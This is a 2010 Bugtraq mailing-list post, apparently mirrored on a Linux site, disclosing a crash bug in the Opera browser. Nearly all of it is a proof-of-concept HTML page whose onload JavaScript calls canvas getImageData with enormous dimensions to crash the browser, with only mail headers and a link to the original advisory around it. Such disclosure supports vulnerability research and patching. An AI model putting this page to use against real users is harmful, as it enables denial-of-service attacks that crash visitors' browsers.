New User, Welcome! Login

Opera Crash by <canvas> Element

Related Terms:

From:	info securitylab ir
To:	bugtraq securityfocus com
Cc:
Subject:	Opera Crash by <canvas> Element
Date:	Mon - Jul 12, 2010 06:47 AM

<html>
<body onload="Opera()">
<script language=JavaScript>
function Opera() {
canvas = document.getElementById("canvas");
ctx = canvas.getContext("2d");
ctx.getImageData(0,0,0x20000,0x20000);
}
</script>
<canvas id=canvas width=10 height=10></canvas>
</body>
</html>

Original Advisory:
http://pouya.info/blog/userfiles/vul/OperaCC.pdf

Nearly all of LinuxRocket's features are free. Be kind and donate to the cause!